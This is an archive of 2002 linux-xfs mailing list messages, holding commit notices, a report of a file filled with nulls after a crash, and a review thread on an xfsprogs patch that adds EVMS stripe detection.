oss.sgi.com (8.12.5/8.12.3/Submit) id g71FiiPf005728 for linux-xfs-outgoing; Thu, 1 Aug 2002 08:44:44 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71FidRw005700 for ; Thu, 1 Aug 2002 08:44:39 -0700 Received: from thistle-e185.americas.sgi.com (thistle-e185.americas.sgi.com [128.162.185.204]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA75784 for ; Thu, 1 Aug 2002 10:46:09 -0500 (CDT) Received: from clink.americas.sgi.com (clink-eth.americas.sgi.com [128.162.2.8]) by thistle-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA92441 for ; Thu, 1 Aug 2002 10:46:09 -0500 (CDT) Received: (from roehrich@localhost) by clink.americas.sgi.com (SGI-8.9.3/8.9.3/erikj-IRIX-news) id KAA46768 for linux-xfs@oss.sgi.com; Thu, 1 Aug 2002 10:46:09 -0500 (CDT) Date: Thu, 1 Aug 2002 10:46:09 -0500 (CDT) From: Dean Roehrich Message-Id: <200208011546.KAA46768@clink.americas.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - fix dmapi makefile X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Thu Aug 1 08:46:06 PDT 2002 Workarea: clink-eth.americas.sgi.com:/data/clink/a67/roehrich/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124124a linux/fs/xfs/dmapi/Makefile - 1.16 - dmapi_core.o is not a module on its own From owner-linux-xfs@oss.sgi.com Thu Aug 1 08:48:09 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71Fm9Rw006008 for ; Thu, 1 Aug 2002 08:48:09 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71Fm9QA006007 for linux-xfs-outgoing; Thu, 1 Aug 2002 08:48:09 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from gwyn.tux.org (ident-user@gwyn.tux.org [207.96.122.8]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71FlwRw005979 for ; Thu, 1 Aug 2002 08:47:58 -0700 Received: (from timball@localhost) by gwyn.tux.org (8.9.3/8.9.1) id LAA13496 for linux-xfs@oss.sgi.com; Thu, 1 Aug 2002 11:49:33 -0400 Date: Thu, 1 Aug 2002 11:49:33 -0400 From: Timothy Ball To: XFS Mailing List Subject: File full of nulls again... Message-ID: <20020801154933.GA6523@gwyn.tux.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.1i X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk For reasons totatly not related to xfs (stupid nvidia) my machine went into a hardlock while I was editting my /etc/X11/xdm/Xsetup file. I rebooted the machine and when xdm came back up I noticed that it wasn't configured the way I thought. Looking back at the file it was completely full of nulls. I suppose it's important for me to say I was editting the file in vim... I did a cvs co yesterday afternoon and am using 2.4.19-rc3-xfs. Other system info: --snip--snip--snip-- timball@kundera {1}$ uname -a Linux kundera 2.4.19-rc3-xfs #3 Tue Jul 30 11:19:30 EDT 2002 i686 unknown unknown GNU/Linux timball@kundera {2}$ cat /proc/meminfo | head -3 total: used: free: shared: buffers: cached: Mem: 1323450368 96591872 1226858496 0 0 37224448 Swap: 509956096 0 509956096 timball@kundera {3}$ cat /proc/cpuinfo processor : 0 vendor_id : GenuineIntel cpu family : 15 model : 2 model name : Intel(R) Pentium(R) 4 CPU 2.00GHz stepping : 4 cpu MHz : 1993.989 cache size : 512 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 2 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm bogomips : 3971.48 --snip--snip--snip-- I'll try to recreate the problem w/o the nvidia driver loaded and see what happens. --timball -- GPG key available on pgpkeys.mit.edu pub 1024D/511FBD54 2001-07-23 Timothy Lu Hu Ball Key fingerprint = B579 29B0 F6C8 C7AA 3840 E053 FE02 BB97 511F BD54 From owner-linux-xfs@oss.sgi.com Thu Aug 1 10:22:19 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71HMJRw008012 for ; Thu, 1 Aug 2002 10:22:19 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71HMIcp008011 for linux-xfs-outgoing; Thu, 1 Aug 2002 10:22:18 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from gusi.leathercollection.ph (gusi.leathercollection.ph [202.163.192.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71HMARw007983 for ; Thu, 1 Aug 2002 10:22:12 -0700 Received: from localhost (localhost [127.0.0.1]) by localhost.leathercollection.ph (Postfix) with ESMTP id 4A32FC027F5 for ; Fri, 2 Aug 2002 01:23:40 +0800 (PHT) Received: by gusi.leathercollection.ph (Postfix, from userid 1000) id 2F154C027ED; Fri, 2 Aug 2002 01:23:23 +0800 (PHT) Date: Fri, 2 Aug 2002 01:23:23 +0800 From: Federico Sevilla III To: XFS Mailing List Subject: Re: File full of nulls again... Message-ID: <20020801172323.GJ29766@leathercollection.ph> Mail-Followup-To: XFS Mailing List References: <20020801154933.GA6523@gwyn.tux.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020801154933.GA6523@gwyn.tux.org> User-Agent: Mutt/1.4i X-Organization: The Leather Collection, Inc. X-Organization-URL: http://www.leathercollection.ph X-Personal-URL: http://jijo.free.net.ph X-Virus-Scanned: by AMaViS snapshot-20020316 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 01, 2002 at 11:49:33AM -0400, Timothy Ball wrote: > For reasons totatly not related to xfs (stupid nvidia) my machine went > into a hardlock while I was editting my /etc/X11/xdm/Xsetup file. I > rebooted the machine and when xdm came back up I noticed that it > wasn't configured the way I thought. Looking back at the file it was > completely full of nulls. I suppose it's important for me to say I was > editting the file in vim... The FAQ entry[1] for this still holds. It's been revised to mention that this happens much less with the newer kernels (like the one you have), but during "extreme situations" (like yours, where you edited a small file, wrote it, and then got the system hung cold) the binary null issues will still happen. This happens to me quite a bit, too, when mangling with something related to X and then getting the system frozen by X11. Perhaps running `sync` after saving the file and before testing what the changes did will help. :) [1] http://oss.sgi.com/projects/xfs/faq.html#nulls --> Jijo -- Federico Sevilla III : Network Administrator : The Leather Collection, Inc. GnuPG Key ID : 0x93B746BE From owner-linux-xfs@oss.sgi.com Thu Aug 1 11:16:42 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71IGgRw009097 for ; Thu, 1 Aug 2002 11:16:42 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71IGg5i009096 for linux-xfs-outgoing; Thu, 1 Aug 2002 11:16:42 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71IGaRw009068 for ; Thu, 1 Aug 2002 11:16:37 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA78074 for ; Thu, 1 Aug 2002 13:18:07 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA62853 for ; Thu, 1 Aug 2002 13:18:07 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g71IEX409713; Thu, 1 Aug 2002 13:14:33 -0500 Message-Id: <200208011814.g71IEX409713@stout.americas.sgi.com> Date: Thu, 1 Aug 2002 13:14:33 -0500 Subject: TAKE - Remove old makefile comments X-Spam-Status: No, hits=1.0 required=5.0 tests=SUBJ_REMOVE,MISSING_HEADERS version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk remove some junk comments from dmapi & pagebuf makefiles Remove old makefile comments Date: Thu Aug 1 11:17:41 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124146a linux/fs/xfs/dmapi/Makefile - 1.17 linux/fs/xfs/pagebuf/Makefile - 1.12 From owner-linux-xfs@oss.sgi.com Thu Aug 1 11:20:14 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71IKERw009325 for ; Thu, 1 Aug 2002 11:20:14 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71IKEbK009324 for linux-xfs-outgoing; Thu, 1 Aug 2002 11:20:14 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from e1.ny.us.ibm.com. (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71IJlRw009280 for ; Thu, 1 Aug 2002 11:19:47 -0700 Received: from northrelay01.pok.ibm.com (northrelay01.pok.ibm.com [9.56.224.149]) by e1.ny.us.ibm.com. (8.12.2/8.12.2) with ESMTP id g71IKhbW134952; Thu, 1 Aug 2002 14:20:43 -0400 Received: from chavez.austin.ibm.com (chavez.austin.ibm.com [9.53.216.228]) by northrelay01.pok.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g71IKdGw070252; Thu, 1 Aug 2002 14:20:40 -0400 Subject: Re: xfsprogs patch for evms From: Luciano Chavez To: Luciano Chavez Cc: Christoph Hellwig , linux-xfs@oss.sgi.com, lord@sgi.com In-Reply-To: <1028216192.16184.116.camel@chavez> References: <1028213377.16184.77.camel@chavez> <20020801161512.A14257@infradead.org> <1028216192.16184.116.camel@chavez> Content-Type: multipart/mixed; boundary="=-/ej0Q3JyTpwGKgjTrFSi" X-Mailer: Ximian Evolution 1.0.8 Date: 01 Aug 2002 13:16:37 -0500 Message-Id: <1028225798.16220.182.camel@chavez> Mime-Version: 1.0 X-Spam-Status: No, hits=-7.5 required=5.0 tests=IN_REP_TO,FROM_ENDS_IN_NUMS,UNIFIED_PATCH,FROM_AND_TO_SAME version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --=-/ej0Q3JyTpwGKgjTrFSi Content-Type: text/plain Content-Transfer-Encoding: 7bit Hello, I cleaned up the patch quite a bit and re-tested it. I hope y'all find this one acceptable. If there are any comments or questions regarding it then please let me know. -- regards, Luciano Chavez lnx1138@us.ibm.com http://evms.sourceforge.net --=-/ej0Q3JyTpwGKgjTrFSi Content-Disposition: attachment; filename=xfsprogs-evms.patch Content-Transfer-Encoding: quoted-printable Content-Type: text/x-patch; name=xfsprogs-evms.patch; charset=ISO-8859-1 diff -urN xfsprogs-2.0.3/libdisk/Makefile xfsprogs-2.0.3-evms/libdisk/Makef= ile --- xfsprogs-2.0.3/libdisk/Makefile Mon Apr 15 09:08:58 2002 +++ xfsprogs-2.0.3-evms/libdisk/Makefile Thu Aug 1 12:27:38 2002 @@ -38,8 +38,8 @@ LT_REVISION =3D 0 LT_AGE =3D 0 =20 -CFILES =3D fstype.c pttype.c md.c xvm.c lvm.c drivers.c mountinfo.c -HFILES =3D fstype.h pttype.h md.h xvm.h +CFILES =3D fstype.c pttype.c md.c xvm.c lvm.c drivers.c mountinfo.c evms.c +HFILES =3D fstype.h pttype.h md.h xvm.h evms.h =20 default: $(LTLIBRARY) =20 diff -urN xfsprogs-2.0.3/libdisk/drivers.c xfsprogs-2.0.3-evms/libdisk/driv= ers.c --- xfsprogs-2.0.3/libdisk/drivers.c Mon Apr 15 09:08:58 2002 +++ xfsprogs-2.0.3-evms/libdisk/drivers.c Thu Aug 1 12:27:38 2002 @@ -40,6 +40,7 @@ extern int md_get_subvol_stripe(char*, sv_type_t, int*, int*, struct stat= 64*); extern int lvm_get_subvol_stripe(char*, sv_type_t, int*, int*, struct stat= 64*); extern int xvm_get_subvol_stripe(char*, sv_type_t, int*, int*, struct stat= 64*); +extern int evms_get_subvol_stripe(char*, sv_type_t, int*, int*, struct sta= t64*); =20 void get_subvol_stripe_wrapper(char *dev, sv_type_t type, int *sunit, int *swid= th) @@ -53,7 +54,9 @@ fprintf(stderr, "Cannot stat %s: %s\n", dev, strerror(errno)); exit(1); } - +=20=20=20=20=20=20=20=20 + if (evms_get_subvol_stripe(dev, type, sunit, swidth, &sb)) + return; if ( md_get_subvol_stripe(dev, type, sunit, swidth, &sb)) return; if (lvm_get_subvol_stripe(dev, type, sunit, swidth, &sb)) diff -urN xfsprogs-2.0.3/libdisk/evms.c xfsprogs-2.0.3-evms/libdisk/evms.c --- xfsprogs-2.0.3/libdisk/evms.c Wed Dec 31 18:00:00 1969 +++ xfsprogs-2.0.3-evms/libdisk/evms.c Thu Aug 1 12:52:51 2002 @@ -0,0 +1,62 @@ +/* + * + * Copyright (c) International Business Machines Corp., 2002 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or=20 + * (at your option) any later version. + *=20 + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See + * the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software=20 + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 U= SA + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include "evms.h" + +int +mnt_is_evms_subvol(dev_t dev) +{ + if (major(dev) =3D=3D EVMS_MAJOR) + return(1); + return(0); +} + + +int +evms_get_subvol_stripe(char *device, + sv_type_t type, + int *sunit, int *swidth, struct stat64 *sb) +{ + int rc =3D 0; + + if (mnt_is_evms_subvol(sb->st_rdev)) { + int fd; + + fd =3D open(device, O_RDONLY | O_NONBLOCK); + if (fd >=3D 0) { + evms_vol_stripe_info_t info; + + if (ioctl(fd, EVMS_GET_VOL_STRIPE_INFO, &info) =3D=3D 0) { + *sunit =3D info.size; + *swidth =3D *sunit * info.width; + rc =3D 1; + } + close(fd); + } + } + return(rc); +} diff -urN xfsprogs-2.0.3/libdisk/evms.h xfsprogs-2.0.3-evms/libdisk/evms.h --- xfsprogs-2.0.3/libdisk/evms.h Wed Dec 31 18:00:00 1969 +++ xfsprogs-2.0.3-evms/libdisk/evms.h Thu Aug 1 12:27:50 2002 @@ -0,0 +1,37 @@ +/* + * + * Copyright (c) International Business Machines Corp., 2002 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or=20 + * (at your option) any later version. + *=20 + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See + * the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software=20 + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 U= SA + * + */ + +#define EVMS_MAJOR 117 + +#define EVMS_GET_VOL_STRIPE_INFO_NUMBER 0xF0 + +/* + * struct evms_vol_stripe_info_s - contains stripe information for a volume + * + * unit: the stripe unit specified in 512 byte block units + * width: the number of stripe members or RAID data disks + * + */ +typedef struct evms_vol_stripe_info_s { + u_int32_t size; + u_int32_t width; +} evms_vol_stripe_info_t; + +#define EVMS_GET_VOL_STRIPE_INFO _IOR(EVMS_MAJOR, EVMS_GET_VOL_STRI= PE_INFO_NUMBER, evms_vol_stripe_info_t) --=-/ej0Q3JyTpwGKgjTrFSi-- From owner-linux-xfs@oss.sgi.com Thu Aug 1 11:37:53 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71IbrRw009747 for ; Thu, 1 Aug 2002 11:37:53 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71IbqtW009746 for linux-xfs-outgoing; Thu, 1 Aug 2002 11:37:52 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71IbiRw009718 for ; Thu, 1 Aug 2002 11:37:45 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA79369 for ; Thu, 1 Aug 2002 13:39:15 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA38805 for ; Thu, 1 Aug 2002 13:39:15 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g71IZfM15837; Thu, 1 Aug 2002 13:35:41 -0500 Message-Id: <200208011835.g71IZfM15837@stout.americas.sgi.com> Date: Thu, 1 Aug 2002 13:35:41 -0500 Subject: TAKE - libdisk cleanups X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk More from Christoph... "fix some of the stuff I complained about on the evms patch and more: - don't include , instead have the major numbers locally - in addition always check for the actually used major (like xvm) - use major() to get the major number instead of direct shifts (like xvm) - drop the old md.h and replace with a small version containing only what we need" Date: Thu Aug 1 11:38:43 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:124150a cmd/xfsprogs/libdisk/md.c - 1.7 - use major() to get the major number instead of direct shifts Also use get_driver_block_major to check device number cmd/xfsprogs/libdisk/md.h - 1.2 - drop the old md.h and replace with a small version containing only what we need. cmd/xfsprogs/libdisk/lvm.c - 1.7 - don't include , use local major numbers use major() to get the major number instead of direct shifts Also use get_driver_block_major to check device number From owner-linux-xfs@oss.sgi.com Thu Aug 1 11:54:05 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71Is5Rw010184 for ; Thu, 1 Aug 2002 11:54:05 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71Is5Ob010183 for linux-xfs-outgoing; Thu, 1 Aug 2002 11:54:05 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.infradead.org [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71IrcRw010152 for ; Thu, 1 Aug 2002 11:53:39 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17aL6P-0005N8-00; Thu, 01 Aug 2002 19:55:13 +0100 Date: Thu, 1 Aug 2002 19:55:13 +0100 From: Christoph Hellwig To: Luciano Chavez Cc: Christoph Hellwig , linux-xfs@oss.sgi.com, lord@sgi.com Subject: Re: xfsprogs patch for evms Message-ID: <20020801195512.A20402@infradead.org> References: <1028213377.16184.77.camel@chavez> <20020801161512.A14257@infradead.org> <1028216192.16184.116.camel@chavez> <1028225798.16220.182.camel@chavez> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1028225798.16220.182.camel@chavez>; from lnx1138@us.ibm.com on Thu, Aug 01, 2002 at 01:16:37PM -0500 X-Spam-Status: No, hits=-11.0 required=5.0 tests=IN_REP_TO,COPYRIGHT_CLAIMED,UNIFIED_PATCH version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 01, 2002 at 01:16:37PM -0500, Luciano Chavez wrote: > Hello, > > I cleaned up the patch quite a bit and re-tested it. I hope y'all find > this one acceptable. If there are any comments or questions regarding it > then please let me know. What about this one instead? it fits the style of the support code of the other volume mangers in current CVS. only semantical change is that I dropped the O_NDELAY. Was there a reason for it? also does evms appear as evms in /proc/devices? otherwise the additional dynamic major detection won't work. Index: libdisk/Makefile =================================================================== RCS file: /cvs/linux-2.4-xfs/cmd/xfsprogs/libdisk/Makefile,v retrieving revision 1.5 diff -u -p -r1.5 Makefile --- libdisk/Makefile 2002/06/04 23:07:56 1.5 +++ libdisk/Makefile 2002/08/01 18:44:55 @@ -38,8 +38,8 @@ LT_CURRENT = 0 LT_REVISION = 0 LT_AGE = 0 -CFILES = fstype.c pttype.c md.c xvm.c lvm.c drivers.c mountinfo.c -HFILES = fstype.h pttype.h md.h xvm.h +CFILES = fstype.c pttype.c md.c xvm.c lvm.c drivers.c mountinfo.c evms.c +HFILES = fstype.h pttype.h md.h xvm.h evms.h default: $(LTLIBRARY) Index: libdisk/drivers.c =================================================================== RCS file: /cvs/linux-2.4-xfs/cmd/xfsprogs/libdisk/drivers.c,v retrieving revision 1.7 diff -u -p -r1.7 drivers.c --- libdisk/drivers.c 2002/06/04 23:07:56 1.7 +++ libdisk/drivers.c 2002/08/01 18:44:55 @@ -40,6 +40,7 @@ extern int md_get_subvol_stripe(char*, sv_type_t, int*, int*, struct stat64*); extern int lvm_get_subvol_stripe(char*, sv_type_t, int*, int*, struct stat64*); extern int xvm_get_subvol_stripe(char*, sv_type_t, int*, int*, struct stat64*); +extern int evms_get_subvol_stripe(char*, sv_type_t, int*, int*, struct stat64*); void get_subvol_stripe_wrapper(char *dev, sv_type_t type, int *sunit, int *swidth) @@ -54,11 +55,13 @@ get_subvol_stripe_wrapper(char *dev, sv_ exit(1); } - if ( md_get_subvol_stripe(dev, type, sunit, swidth, &sb)) + if (md_get_subvol_stripe(dev, type, sunit, swidth, &sb)) return; if (lvm_get_subvol_stripe(dev, type, sunit, swidth, &sb)) return; if (xvm_get_subvol_stripe(dev, type, sunit, swidth, &sb)) + return; + if (evms_get_subvol_stripe(dev, type, sunit, swidth, &sb)) return; /* ... add new device drivers here */ } --- /dev/null Thu Dec 13 11:34:58 2001 +++ libdisk/evms.c Thu Aug 1 21:42:27 2002 @@ -0,0 +1,67 @@ +/* + * Copyright (c) International Business Machines Corp., 2002 + * Portions Copyright (c) 2002 Silicon Graphics, Inc. All Rights Reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See + * the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + +#include +#include +#include +#include +#include +#include +#include "evms.h" + +int +mnt_is_evms_subvol(dev_t dev) +{ + if (major(dev) == EVMS_MAJOR) + return 1; + if (major(dev) == get_driver_block_major("evms")) + return 1; + return 0; +} + +int +evms_get_subvol_stripe( + char *dfile, + sv_type_t type, + int *sunit, + int *swidth, + struct stat64 *sb) +{ + if (mnt_is_evms_subvol(sb->st_rdev)) { + struct evms_vol_stripe_info info; + int fd; + + fd = open(dfile, O_RDONLY); + if (fd < 0) + return 0; + + if (ioctl(fd, EVMS_GET_VOL_STRIPE_INFO, &info)) { + fprintf(stderr, + "Error getting EVMS stripe size from %s\n", + dfile); + exit(1); + } + + *sunit = info.size; + *swidth = *sunit * info.width; + + return 1; + } + return 0; +} --- /dev/null Thu Dec 13 11:34:58 2001 +++ libdisk/evms.h Thu Aug 1 21:43:49 2002 @@ -0,0 +1,38 @@ +/* + * Copyright (c) International Business Machines Corp., 2002 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See + * the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + +#ifndef EVMS_MAJOR +#define EVMS_MAJOR 117 /* we also check at runtime */ +#endif + +#define EVMS_GET_VOL_STRIPE_INFO_NUMBER 0xF0 + +#define EVMS_GET_VOL_STRIPE_INFO \ + _IOR(EVMS_MAJOR, EVMS_GET_VOL_STRIPE_INFO_NUMBER, struct evms_vol_stripe_info) + +/* + * struct evms_vol_stripe_info - contains stripe information for a volume + * + * unit: the stripe unit specified in 512 byte block units + * width: the number of stripe members or RAID data disks + * + */ +struct evms_vol_stripe_info { + __uint32_t size; + __uint32_t width; +}; From owner-linux-xfs@oss.sgi.com Thu Aug 1 12:49:17 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g71JnHRw013126 for ; Thu, 1 Aug 2002 12:49:17 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g71JnHlm013125 for linux-xfs-outgoing; Thu, 1 Aug 2002 12:49:17 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g71JmlRw013086 for ; Thu, 1 Aug 2002 12:48:48 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e35.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g71JnfNv041966; Thu, 1 Aug 2002 15:49:41 -0400 Received: from chavez.austin.ibm.com (chavez.austin.ibm.com [9.53.216.228]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g71Jnf8v059758; Thu, 1 Aug 2002 13:49:41 -0600 Subject: Re: xfsprogs patch for evms From: Luciano Chavez To: Christoph Hellwig Cc: linux-xfs@oss.sgi.com, lord@sgi.com In-Reply-To: <20020801195512.A20402@infradead.org> References: <1028213377.16184.77.camel@chavez> <20020801161512.A14257@infradead.org> <1028216192.16184.116.camel@chavez> <1028225798.16220.182.camel@chavez> <20020801195512.A20402@infradead.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 01 Aug 2002 14:45:37 -0500 Message-Id: <1028231137.16184.202.camel@chavez> Mime-Version: 1.0 X-Spam-Status: No, hits=-5.0 required=5.0 tests=IN_REP_TO,FROM_ENDS_IN_NUMS,COPYRIGHT_CLAIMED version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-01 at 13:55, Christoph Hellwig wrote: > On Thu, Aug 01, 2002 at 01:16:37PM -0500, Luciano Chavez wrote: > > Hello, > > > > I cleaned up the patch quite a bit and re-tested it. I hope y'all find > > this one acceptable. If there are any comments or questions regarding it > > then please let me know. > > What about this one instead? it fits the style of the support code of > the other volume mangers in current CVS. > > only semantical change is that I dropped the O_NDELAY. Was there a reason > for it? also does evms appear as evms in /proc/devices? otherwise the > additional dynamic major detection won't work. > Umm, where did you see O_NDELAY? Yes, evms does appear in /proc/devices. What dynamic major detection? Are you referring to the way device-mapper obtains major numbers? We only have one, 117. Looking at the patch below, I have a question about the following change you made: if (ioctl(fd, EVMS_GET_VOL_STRIPE_INFO, &info)) { fprintf(stderr, "Error getting EVMS stripe size from %s\n", dfile); exit(1); } Do you really want to fail mkfs.xfs if you can't get the stripe info? Alternatively, we could hard code the sunit to a a page size (4K on x86) on an ioctl failure instead. That is, *sunit = *swidth = PAGE_SIZE >> SECTOR_SIZE_SHIFT; since we know it is an EVMS volume and this would help keep alignment proper? > > Index: libdisk/Makefile > =================================================================== > RCS file: /cvs/linux-2.4-xfs/cmd/xfsprogs/libdisk/Makefile,v > retrieving revision 1.5 > diff -u -p -r1.5 Makefile > --- libdisk/Makefile 2002/06/04 23:07:56 1.5 > +++ libdisk/Makefile 2002/08/01 18:44:55 > @@ -38,8 +38,8 @@ LT_CURRENT = 0 > LT_REVISION = 0 > LT_AGE = 0 > > -CFILES = fstype.c pttype.c md.c xvm.c lvm.c drivers.c mountinfo.c > -HFILES = fstype.h pttype.h md.h xvm.h > +CFILES = fstype.c pttype.c md.c xvm.c lvm.c drivers.c mountinfo.c 